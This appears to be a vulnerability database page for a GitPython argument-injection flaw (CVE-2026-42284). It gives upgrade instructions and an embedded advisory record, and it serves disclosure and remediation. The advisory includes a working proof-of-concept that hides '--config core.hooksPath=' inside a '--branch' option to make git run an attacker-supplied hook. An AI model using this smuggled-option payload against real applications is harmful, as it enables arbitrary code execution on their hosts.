CVE-2026-42284: GitPython Unsafe Option Check Validates Multi_options Vulnerability
HIGHCVE-2026-42284 is a HIGH (CVSS 8.1) unsafe option check validates multi_options vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting GitPython libraries in the PyPI ecosystem. The issue involves unsafe option check validates multi_options before shlex.split transformation. Remediation is available by upgrading affected packages to version 3.1.47.
CVE-2026-42284 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42284
To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install GitPython>=3.1.47
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show GitPython
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-42284, inspect your installed packages using pip:
pip show GitPython
Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.47), your application is affected.
Note: The pip show GitPython command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42284 Affected GitPython Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
GitPython
|
PyPI |
< 3.1.47
|
3.1.47
|
References
Frequently Asked Questions
What is CVE-2026-42284?
Which GitPython versions are affected?
What version fixes CVE-2026-42284?
Is GitPython affected?
What is the CVSS score of CVE-2026-42284?
What CWE is associated with CVE-2026-42284?
How can I check PyPI dependencies for CVE-2026-42284?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x2qx-6953-8485",
"modified" : "2026-05-13T13:37:24Z",
"published" : "2026-04-25T23:41:49Z",
"aliases" : [ "CVE-2026-42284" ],
"summary" : "GitPython: Unsafe option check validates multi_options before shlex.split transformation",
"details" : "### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n SRC.mkdir(parents=True)\n r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n r(\"git\", \"init\", \"-b\", \"main\")\n (SRC / \"f\").write_text(\"x\\n\")\n r(\"git\", \"add\", \".\")\n r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n pass\n\nif not LOG.exists() and DST.exists():\n subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "GitPython"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.47"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42284"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gitpython-developers/GitPython"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}, {
"type" : "WEB",
"url" : "https://www.tenable.com/cve/CVE-2026-32686"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-88" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-25T23:41:49Z",
"nvd_published_at" : "2026-05-07T19:16:01Z"
}
}